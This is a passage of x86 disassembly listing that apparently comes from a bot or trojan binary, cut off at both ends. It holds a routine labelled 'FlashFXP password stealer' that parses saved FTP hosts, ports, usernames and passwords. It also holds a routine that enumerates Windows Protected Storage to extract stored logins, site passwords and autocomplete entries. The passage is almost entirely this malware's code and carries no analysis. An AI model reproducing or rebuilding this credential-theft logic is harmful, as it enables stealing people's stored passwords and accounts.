		jz	short loc_414C52
		mov	eax, [ebp+var_5C8]
		cmp	eax, [ebp+var_5DC]
		jnb	loc_414E13

loc_414C52:				; CODE XREF: sub_414A1E+220j
		cmp	[ebp+var_5D8], 0
		jz	loc_414E13
		cmp	[ebp+var_5DC], 0
		jz	short loc_414C7A
		mov	eax, [ebp+var_5D8]
		cmp	eax, [ebp+var_5DC]
		jnb	loc_414E13

loc_414C7A:				; CODE XREF: sub_414A1E+248j
		cmp	[ebp+var_5CC], 0
		jz	loc_414E13
		cmp	[ebp+var_5DC], 0
		jz	short loc_414CA2
		mov	eax, [ebp+var_5CC]
		cmp	eax, [ebp+var_5DC]
		jnb	loc_414E13

loc_414CA2:				; CODE XREF: sub_414A1E+270j
		cmp	[ebp+var_5D4], 0
		jz	loc_414E13
		cmp	[ebp+var_5DC], 0
		jz	short loc_414CCA
		mov	eax, [ebp+var_5D4]
		cmp	eax, [ebp+var_5DC]
		jnb	loc_414E13

loc_414CCA:				; CODE XREF: sub_414A1E+298j
		and	[ebp+var_4C4], 0
		mov	al, [ebp+var_4C4]
		mov	[ebp+var_3B4], al
		mov	al, [ebp+var_3B4]
		mov	[ebp+var_5C4], al
		mov	al, [ebp+var_5C4]
		mov	[ebp+var_444], al
		mov	al, [ebp+var_444]
		mov	[ebp+var_544], al
		lea	eax, [ebp+var_544]
		push	eax
		push	offset asc_41D2D4 ; "[%[^]]]\r\n"
		push	[ebp+var_5D0]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_444]
		push	eax
		push	offset aIp127s	; "\r\nIP=%127s\r\n"
		push	[ebp+var_5C8]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_5C4]
		push	eax
		push	offset aPort127s ; "\r\nPort=%127s\r\n"
		push	[ebp+var_5D8]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_3B4]
		push	eax
		push	offset aUser127s ; "\r\nUser=%127s\r\n"
		push	[ebp+var_5CC]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_4C4]
		push	eax
		push	offset aPass127s ; "\r\nPass=%127s\r\n"
		push	[ebp+var_5D4]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_4C4]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_4147E5
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_414DA1
		jmp	loc_414E4B
; ---------------------------------------------------------------------------

loc_414DA1:				; CODE XREF: sub_414A1E+37Cj
		mov	eax, [ebp+var_334]
		inc	eax
		mov	[ebp+var_334], eax
		push	3E8h
		call	dword_41709C	; Sleep
		lea	eax, [ebp+var_544]
		push	eax
		lea	eax, [ebp+var_5C4]
		push	eax
		lea	eax, [ebp+var_444]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		lea	eax, [ebp+var_3B4]
		push	eax
		push	[ebp+var_334]
		push	offset dword_41D268
		lea	eax, [ebp+var_328]
		push	eax
		call	sub_40D53F
		add	esp, 20h
		mov	eax, [ebp+var_32C]
		cmp	dword ptr [eax+4], 0
		jz	short loc_414E13
		push	[ebp+var_3BC]
		call	sub_416B4C	; free
		pop	ecx
		jmp	loc_414EA6
; ---------------------------------------------------------------------------

loc_414E13:				; CODE XREF: sub_414A1E+213j
					; sub_414A1E+22Ej ...
		mov	eax, [ebp+var_184]
		inc	eax
		mov	[ebp+var_184], eax
		mov	eax, [ebp+var_5DC]
		mov	[ebp+var_3B8], eax
		cmp	[ebp+var_3B8], 0
		jnz	short loc_414E37
		jmp	short loc_414E4B
; ---------------------------------------------------------------------------

loc_414E37:				; CODE XREF: sub_414A1E+415j
		mov	eax, [ebp+var_3B8]
		add	eax, 4
		mov	[ebp+var_3B8], eax
		jmp	loc_414BA6
; ---------------------------------------------------------------------------

loc_414E4B:				; CODE XREF: sub_414A1E+37Ej
					; sub_414A1E+417j
		push	[ebp+var_3BC]
		call	sub_416B4C	; free
		pop	ecx

loc_414E57:				; CODE XREF: sub_414A1E:loc_414EA6j
		mov	al, [ebp+var_330]
		mov	[ebp+var_190], al
		push	3E8h
		call	dword_41709C	; Sleep
		push	[ebp+var_184]
		push	[ebp+var_334]
		mov	eax, [ebp+var_32C]
		push	dword ptr [eax]
		push	offset unk_41D22C
		lea	eax, [ebp+var_328]
		push	eax
		call	sub_40D53F
		add	esp, 14h

loc_414E96:				; CODE XREF: sub_414A1E:loc_414EA8j
					; sub_414A1E:loc_414EAAj
		push	[ebp+var_32C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short locret_414EAC
; ---------------------------------------------------------------------------

loc_414EA6:				; CODE XREF: sub_414A1E+3F0j
		jmp	short loc_414E57
; ---------------------------------------------------------------------------

loc_414EA8:				; CODE XREF: sub_414A1E+140j
		jmp	short loc_414E96
; ---------------------------------------------------------------------------

loc_414EAA:				; CODE XREF: sub_414A1E+ACj
		jmp	short loc_414E96
; ---------------------------------------------------------------------------

locret_414EAC:				; CODE XREF: sub_414A1E+48j
					; sub_414A1E+486j
		leave
		retn	4
sub_414A1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414EB0	proc near		; CODE XREF: sub_40A9CF+769p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414ECA
		jmp	short locret_414EF2
; ---------------------------------------------------------------------------

loc_414ECA:				; CODE XREF: sub_414EB0+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aFlashfxpPasswo ; "FlashFXP password stealer"
		push	0
		push	[ebp+var_4]
		push	offset sub_414A1E
		call	sub_4095A4
		add	esp, 10h

locret_414EF2:				; CODE XREF: sub_414EB0+18j
		leave
		retn
sub_414EB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_414EF4	proc near		; DATA XREF: sub_415AF0+40o
		mov	eax, offset loc_416FDD
		call	sub_416E10
		sub	esp, 0FFCh
		push	esi
		push	edi
		push	1A7h
		push	dword ptr [ebp+8]
		lea	eax, [ebp-0BF0h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	dword ptr [ebp+8]
		call	sub_416B4C	; free
		pop	ecx
		and	dword ptr [ebp-0A00h], 0
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp-0A00h], 0
		jz	short loc_414F4C
		mov	eax, [ebp-0A00h]
		mov	ecx, [ebp-0A00h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]

loc_414F4C:				; CODE XREF: sub_414EF4+44j
		and	dword ptr [ebp-0A00h], 0
		push	0
		push	0
		push	0
		lea	eax, [ebp-0A00h]
		push	eax
		call	dword_41DE80
		mov	[ebp-0DF4h], eax
		cmp	dword ptr [ebp-0DF4h], 0
		jge	short loc_414FB2
		push	dword ptr [ebp-0BF0h]
		call	sub_409763
		pop	ecx
		and	dword ptr [ebp-0FD0h], 0
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword ptr [ebp-0A00h], 0
		jz	short loc_414FA7
		mov	eax, [ebp-0A00h]
		mov	ecx, [ebp-0A00h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]

loc_414FA7:				; CODE XREF: sub_414EF4+9Fj
		mov	eax, [ebp-0FD0h]
		jmp	loc_415AE0
; ---------------------------------------------------------------------------

loc_414FB2:				; CODE XREF: sub_414EF4+7Fj
		and	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 1
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_414FCC
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-10h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]

loc_414FCC:				; CODE XREF: sub_414EF4+CAj
		and	dword ptr [ebp-10h], 0
		cmp	dword ptr [ebp-0A00h], 0
		jnz	short loc_414FE3
		push	80004003h
		call	sub_416E40

loc_414FE3:				; CODE XREF: sub_414EF4+E3j
		mov	eax, [ebp-0A00h]
		mov	[ebp-0FE0h], eax
		lea	eax, [ebp-10h]
		push	eax
		push	0
		push	0
		mov	eax, [ebp-0FE0h]
		mov	eax, [eax]
		push	dword ptr [ebp-0FE0h]
		call	dword ptr [eax+38h]
		mov	[ebp-0FDCh], eax
		cmp	dword ptr [ebp-0FDCh], 0
		jge	short loc_41502D
		push	offset dword_41D598
		push	dword ptr [ebp-0FE0h]
		push	dword ptr [ebp-0FDCh]
		call	sub_416E4E

loc_41502D:				; CODE XREF: sub_414EF4+121j
		mov	eax, [ebp-0FDCh]
		mov	[ebp-0DF4h], eax
		cmp	dword ptr [ebp-0DF4h], 0
		jge	short loc_415095
		push	dword ptr [ebp-0BF0h]
		call	sub_409763
		pop	ecx
		and	dword ptr [ebp-0FD4h], 0
		and	byte ptr [ebp-4], 0
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_41506B
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-10h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]

loc_41506B:				; CODE XREF: sub_414EF4+169j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword ptr [ebp-0A00h], 0
		jz	short loc_41508A
		mov	eax, [ebp-0A00h]
		mov	ecx, [ebp-0A00h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]

loc_41508A:				; CODE XREF: sub_414EF4+182j
		mov	eax, [ebp-0FD4h]
		jmp	loc_415AE0
; ---------------------------------------------------------------------------

loc_415095:				; CODE XREF: sub_414EF4+14Cj
		mov	eax, [ebp-0BF0h]
		push	dword ptr [eax]
		push	offset unk_41D564
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		and	dword ptr [ebp-214h], 0
		mov	al, [ebp-0A54h]
		mov	[ebp-0A14h], al
		and	byte ptr [ebp-0A54h], 0

loc_4150CB:				; CODE XREF: sub_414EF4:loc_415A54j
		cmp	dword ptr [ebp-10h], 0
		jnz	short loc_4150DB
		push	80004003h
		call	sub_416E40

loc_4150DB:				; CODE XREF: sub_414EF4+1DBj
		push	0
		lea	eax, [ebp-0A10h]
		push	eax
		push	1
		mov	eax, [ebp-10h]
		mov	[ebp-1000h], eax
		mov	eax, [ebp-1000h]
		mov	eax, [eax]
		push	dword ptr [ebp-1000h]
		call	dword ptr [eax+0Ch]
		test	eax, eax
		jnz	loc_415A59
		mov	eax, [ebp-0BF0h]
		cmp	dword ptr [eax+4], 0
		jz	short loc_415119
		jmp	loc_415A59
; ---------------------------------------------------------------------------

loc_415119:				; CODE XREF: sub_414EF4+21Ej
		sub	esp, 10h
		lea	esi, [ebp-0A10h]
		mov	edi, esp
		movsd
		movsd
		movsd
		movsd
		push	offset asc_41D560 ; "%x"
		lea	eax, [ebp-0A48h]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 18h
		and	dword ptr [ebp-0DF8h], 0
		mov	byte ptr [ebp-4], 2
		cmp	dword ptr [ebp-0DF8h], 0
		jz	short loc_415163
		mov	eax, [ebp-0DF8h]
		mov	ecx, [ebp-0DF8h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]

loc_415163:				; CODE XREF: sub_414EF4+25Bj
		and	dword ptr [ebp-0DF8h], 0
		cmp	dword ptr [ebp-0A00h], 0
		jnz	short loc_41517D
		push	80004003h
		call	sub_416E40

loc_41517D:				; CODE XREF: sub_414EF4+27Dj
		mov	eax, [ebp-0A00h]
		mov	[ebp-0FE8h], eax
		lea	eax, [ebp-0DF8h]
		push	eax
		push	0
		lea	eax, [ebp-0A10h]
		push	eax
		push	0
		mov	eax, [ebp-0FE8h]
		mov	eax, [eax]
		push	dword ptr [ebp-0FE8h]
		call	dword ptr [eax+3Ch]
		mov	[ebp-0FE4h], eax
		cmp	dword ptr [ebp-0FE4h], 0
		jge	short loc_4151D1
		push	offset dword_41D598
		push	dword ptr [ebp-0FE8h]
		push	dword ptr [ebp-0FE4h]
		call	sub_416E4E

loc_4151D1:				; CODE XREF: sub_414EF4+2C5j
		mov	eax, [ebp-0FE4h]
		mov	[ebp-0DF4h], eax

loc_4151DD:				; CODE XREF: sub_414EF4:loc_415A30j
		cmp	dword ptr [ebp-0DF8h], 0
		jnz	short loc_4151F0
		push	80004003h
		call	sub_416E40

loc_4151F0:				; CODE XREF: sub_414EF4+2F0j
		push	0
		lea	eax, [ebp-0E08h]
		push	eax
		push	1
		mov	eax, [ebp-0DF8h]
		mov	[ebp-1004h], eax
		mov	eax, [ebp-1004h]
		mov	eax, [eax]
		push	dword ptr [ebp-1004h]
		call	dword ptr [eax+0Ch]
		test	eax, eax
		jnz	loc_415A35
		and	dword ptr [ebp-0E14h], 0
		mov	byte ptr [ebp-4], 3
		cmp	dword ptr [ebp-0E14h], 0
		jz	short loc_415246
		mov	eax, [ebp-0E14h]
		mov	ecx, [ebp-0E14h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]

loc_415246:				; CODE XREF: sub_414EF4+33Ej
		and	dword ptr [ebp-0E14h], 0
		cmp	dword ptr [ebp-0A00h], 0
		jnz	short loc_415260
		push	80004003h
		call	sub_416E40

loc_415260:				; CODE XREF: sub_414EF4+360j
		mov	eax, [ebp-0A00h]
		mov	[ebp-0FF0h], eax
		lea	eax, [ebp-0E14h]
		push	eax
		push	0
		lea	eax, [ebp-0E08h]
		push	eax
		lea	eax, [ebp-0A10h]
		push	eax
		push	0
		mov	eax, [ebp-0FF0h]
		mov	eax, [eax]
		push	dword ptr [ebp-0FF0h]
		call	dword ptr [eax+54h]
		mov	[ebp-0FECh], eax
		cmp	dword ptr [ebp-0FECh], 0
		jge	short loc_4152BB
		push	offset dword_41D598
		push	dword ptr [ebp-0FF0h]
		push	dword ptr [ebp-0FECh]
		call	sub_416E4E

loc_4152BB:				; CODE XREF: sub_414EF4+3AFj
		mov	eax, [ebp-0FECh]
		mov	[ebp-0E10h], eax

loc_4152C7:				; CODE XREF: sub_414EF4+B18j
		cmp	dword ptr [ebp-0E14h], 0
		jnz	short loc_4152DA
		push	80004003h
		call	sub_416E40

loc_4152DA:				; CODE XREF: sub_414EF4+3DAj
		push	0
		lea	eax, [ebp-0E0Ch]
		push	eax
		push	1
		mov	eax, [ebp-0E14h]
		mov	[ebp-1008h], eax
		mov	eax, [ebp-1008h]
		mov	eax, [eax]
		push	dword ptr [ebp-1008h]
		call	dword ptr [eax+0Ch]
		test	eax, eax
		jnz	loc_415A11
		push	dword ptr [ebp-0E0Ch]
		push	offset aWs	; "%ws"
		lea	eax, [ebp-210h]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 0Ch
		and	dword ptr [ebp-0E18h], 0
		and	dword ptr [ebp-0EE8h], 0
		and	dword ptr [ebp-0EE4h], 0
		cmp	dword ptr [ebp-0A00h], 0
		jnz	short loc_41534D
		push	80004003h
		call	sub_416E40

loc_41534D:				; CODE XREF: sub_414EF4+44Dj
		mov	eax, [ebp-0E0Ch]

loc_415353:				; DATA XREF: .data:off_419100o
		mov	[ebp-0FFCh], eax
		mov	eax, [ebp-0A00h]
		mov	[ebp-0FF8h], eax
		push	0
		push	dword ptr [ebp-0EE4h]
		lea	eax, [ebp-0EE8h]
		push	eax
		lea	eax, [ebp-0E18h]
		push	eax
		push	dword ptr [ebp-0FFCh]
		lea	eax, [ebp-0E08h]
		push	eax
		lea	eax, [ebp-0A10h]
		push	eax
		push	0
		mov	eax, [ebp-0FF8h]
		mov	eax, [eax]
		push	dword ptr [ebp-0FF8h]
		call	dword ptr [eax+44h]
		mov	[ebp-0FF4h], eax
		cmp	dword ptr [ebp-0FF4h], 0
		jge	short loc_4153C7
		push	offset dword_41D598
		push	dword ptr [ebp-0FF8h]
		push	dword ptr [ebp-0FF4h]
		call	sub_416E4E

loc_4153C7:				; CODE XREF: sub_414EF4+4BBj
		mov	eax, [ebp-0FF4h]
		mov	[ebp-0E10h], eax
		push	dword ptr [ebp-0EE8h]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp-0E18h]
		dec	ecx
		cmp	eax, ecx
		jnb	loc_415477
		and	dword ptr [ebp-0EECh], 0
		and	dword ptr [ebp-0EF0h], 0
		jmp	short loc_41540C
; ---------------------------------------------------------------------------

loc_4153FE:				; CODE XREF: sub_414EF4+571j
		mov	eax, [ebp-0EF0h]
		inc	eax
		inc	eax
		mov	[ebp-0EF0h], eax

loc_41540C:				; CODE XREF: sub_414EF4+508j
		mov	eax, [ebp-0EF0h]
		cmp	eax, [ebp-0E18h]
		jnb	short loc_415467
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0EF0h]
		movzx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_41543D
		mov	eax, [ebp-0EECh]
		mov	byte ptr [ebp+eax-9FCh], 2Ch
		jmp	short loc_415458
; ---------------------------------------------------------------------------

loc_41543D:				; CODE XREF: sub_414EF4+537j
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0EF0h]
		mov	ecx, [ebp-0EECh]
		mov	al, [eax]
		mov	[ebp+ecx-9FCh],	al

loc_415458:				; CODE XREF: sub_414EF4+547j
		mov	eax, [ebp-0EECh]
		inc	eax
		mov	[ebp-0EECh], eax
		jmp	short loc_4153FE
; ---------------------------------------------------------------------------

loc_415467:				; CODE XREF: sub_414EF4+524j
		mov	eax, [ebp-0EECh]
		and	byte ptr [ebp+eax-9FDh], 0
		jmp	short loc_415492
; ---------------------------------------------------------------------------

loc_415477:				; CODE XREF: sub_414EF4+4F4j
		push	dword ptr [ebp-0EE8h]
		push	offset dword_418B64
		lea	eax, [ebp-9FCh]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 0Ch

loc_415492:				; CODE XREF: sub_414EF4+581j
		push	offset byte_41DE30
		lea	eax, [ebp-7FCh]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset byte_41DE30
		lea	eax, [ebp-0DF0h]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset a220d5cc1 ; "220d5cc1"
		lea	eax, [ebp-0A48h]
		push	eax
		call	dword_417108	; lstrcmp
		test	eax, eax
		jnz	short loc_41550C
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		movsx	eax, byte ptr [ebp-0A57h]
		test	eax, eax
		jnz	short loc_41550C
		lea	eax, [ebp-9FCh]
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D510
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 14h

loc_41550C:				; CODE XREF: sub_414EF4+5D6j
					; sub_414EF4+5EEj
		push	offset a5e7e8100 ; "5e7e8100"
		lea	eax, [ebp-0A48h]
		push	eax
		call	dword_417108	; lstrcmp
		test	eax, eax
		jnz	loc_4155CE
		push	offset byte_41DE30
		lea	eax, [ebp-0EE0h]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset asc_4184FC ; ":"
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415587
		push	offset asc_4184FC ; ":"
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp-0EE0h]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset asc_4184FC ; ":"
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0

loc_415587:				; CODE XREF: sub_414EF4+659j
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		push	3E8h
		call	dword_41709C	; Sleep
		lea	eax, [ebp-0EE0h]
		push	eax
		lea	eax, [ebp-9FCh]
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D4AC
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 18h

loc_4155CE:				; CODE XREF: sub_414EF4+62Cj
		push	offset aB9819c52 ; "b9819c52"
		lea	eax, [ebp-0A48h]
		push	eax
		call	dword_417108	; lstrcmp
		test	eax, eax
		jnz	loc_415842
		and	dword ptr [ebp-0FC8h], 0
		mov	dword ptr [ebp-0EFCh], 1
		and	dword ptr [ebp-0FCCh], 0
		jmp	short loc_415610
; ---------------------------------------------------------------------------

loc_415602:				; CODE XREF: sub_414EF4:loc_4156CFj
		mov	eax, [ebp-0FCCh]
		inc	eax
		inc	eax
		mov	[ebp-0FCCh], eax

loc_415610:				; CODE XREF: sub_414EF4+70Cj
		mov	eax, [ebp-0FCCh]
		cmp	eax, [ebp-0E18h]
		jnb	loc_4156D4
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		movzx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_415652
		mov	eax, [ebp-0FC8h]
		mov	byte ptr [ebp+eax-9FCh], 2Ch
		mov	eax, [ebp-0FC8h]
		inc	eax
		mov	[ebp-0FC8h], eax
		jmp	short loc_4156CF
; ---------------------------------------------------------------------------

loc_415652:				; CODE XREF: sub_414EF4+73Fj
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		mov	al, [eax]
		push	eax
		call	dword_4171DC	; IsCharAlphaNumericA
		test	eax, eax
		jnz	short loc_4156A7
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		movzx	eax, byte ptr [eax]
		cmp	eax, 40h
		jz	short loc_4156A7
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		movzx	eax, byte ptr [eax]
		cmp	eax, 2Eh
		jz	short loc_4156A7
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		movzx	eax, byte ptr [eax]
		cmp	eax, 5Fh
		jnz	short loc_4156CF

loc_4156A7:				; CODE XREF: sub_414EF4+775j
					; sub_414EF4+789j ...
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		mov	ecx, [ebp-0FC8h]
		mov	al, [eax]
		mov	[ebp+ecx-9FCh],	al
		mov	eax, [ebp-0FC8h]
		inc	eax
		mov	[ebp-0FC8h], eax

loc_4156CF:				; CODE XREF: sub_414EF4+75Cj
					; sub_414EF4+7B1j
		jmp	loc_415602
; ---------------------------------------------------------------------------

loc_4156D4:				; CODE XREF: sub_414EF4+728j
		mov	eax, [ebp-0FC8h]
		and	byte ptr [ebp+eax-9FDh], 0
		lea	eax, [ebp-9FAh]
		mov	[ebp-0EF4h], eax
		and	dword ptr [ebp-0EF8h], 0
		jmp	short loc_415704
; ---------------------------------------------------------------------------

loc_4156F7:				; CODE XREF: sub_414EF4:loc_41583Dj
		mov	eax, [ebp-0EF8h]
		inc	eax
		mov	[ebp-0EF8h], eax

loc_415704:				; CODE XREF: sub_414EF4+801j
		mov	eax, [ebp-0EE8h]
		movzx	eax, byte ptr [eax+4]
		cmp	[ebp-0EF8h], eax
		jge	loc_415842
		mov	eax, [ebp-0EF4h]
		inc	eax
		push	eax
		lea	eax, [ebp-0FC4h]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset dword_41D49C
		lea	eax, [ebp-0FC4h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41575C
		push	offset dword_41D49C
		lea	eax, [ebp-0FC4h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0

loc_41575C:				; CODE XREF: sub_414EF4+850j
		push	offset dword_41D49C
		mov	eax, [ebp-0EF4h]
		inc	eax
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415798
		push	offset dword_41D49C
		mov	eax, [ebp-0EF4h]
		inc	eax
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		inc	eax
		inc	eax
		push	eax
		lea	eax, [ebp-0F60h]
		push	eax
		call	dword_4170FC	; lstrcpy

loc_415798:				; CODE XREF: sub_414EF4+87Ej
		push	offset dword_41D49C
		lea	eax, [ebp-0F60h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4157C5
		push	offset dword_41D49C
		lea	eax, [ebp-0F60h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0

loc_4157C5:				; CODE XREF: sub_414EF4+8B9j
		push	offset dword_41D49C
		mov	eax, [ebp-0EF4h]
		inc	eax
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	esi, eax
		lea	eax, [ebp-0F60h]
		push	eax
		call	dword_41703C	; lstrlen
		lea	eax, [esi+eax+9]
		mov	[ebp-0EF4h], eax
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		push	3E8h
		call	dword_41709C	; Sleep
		movsx	eax, byte ptr [ebp-0A57h]
		test	eax, eax
		jnz	short loc_41583D
		lea	eax, [ebp-0F60h]
		push	eax
		lea	eax, [ebp-0FC4h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D45C
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 14h

loc_41583D:				; CODE XREF: sub_414EF4+91Fj
		jmp	loc_4156F7
; ---------------------------------------------------------------------------

loc_415842:				; CODE XREF: sub_414EF4+6EEj
					; sub_414EF4+820j
		push	offset aE161255a ; "e161255a"
		lea	eax, [ebp-0A48h]
		push	eax
		call	dword_417108	; lstrcmp
		test	eax, eax
		jnz	loc_4159E0
		push	offset aStringindex ; "StringIndex"
		lea	eax, [ebp-210h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_4159E0
		push	offset dword_41D43C
		lea	eax, [ebp-210h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4158A4
		push	offset dword_41D43C
		lea	eax, [ebp-210h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0

loc_4158A4:				; CODE XREF: sub_414EF4+998j
		push	8
		lea	eax, [ebp-210h]
		push	eax
		lea	eax, [ebp-0EE0h]
		push	eax
		call	dword_417100	; lstrcpyn
		push	offset dword_41D434
		lea	eax, [ebp-0EE0h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_415938
		push	offset dword_41D42C
		lea	eax, [ebp-0EE0h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_415938
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		push	3E8h
		call	dword_41709C	; Sleep
		movsx	eax, byte ptr [ebp-0A57h]
		test	eax, eax
		jnz	short loc_415933
		lea	eax, [ebp-9FCh]
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D3E4
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 14h

loc_415933:				; CODE XREF: sub_414EF4+A15j
		jmp	loc_4159E0
; ---------------------------------------------------------------------------

loc_415938:				; CODE XREF: sub_414EF4+9DBj
					; sub_414EF4+9F2j
		push	offset byte_41DE30
		lea	eax, [ebp-0EE0h]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset dword_41D49C
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415999
		push	offset dword_41D49C
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp-0EE0h]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset dword_41D49C
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0

loc_415999:				; CODE XREF: sub_414EF4+A6Bj
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		push	3E8h
		call	dword_41709C	; Sleep
		lea	eax, [ebp-0EE0h]
		push	eax
		lea	eax, [ebp-9FCh]
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D388
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 18h

loc_4159E0:				; CODE XREF: sub_414EF4+962j
					; sub_414EF4+97Dj ...
		push	200h
		push	0
		lea	eax, [ebp-210h]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	200h
		push	0
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		jmp	loc_4152C7
; ---------------------------------------------------------------------------

loc_415A11:				; CODE XREF: sub_414EF4+410j
		mov	byte ptr [ebp-4], 2
		cmp	dword ptr [ebp-0E14h], 0
		jz	short loc_415A30
		mov	eax, [ebp-0E14h]
		mov	ecx, [ebp-0E14h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]

loc_415A30:				; CODE XREF: sub_414EF4+B28j
		jmp	loc_4151DD
; ---------------------------------------------------------------------------

loc_415A35:				; CODE XREF: sub_414EF4+326j
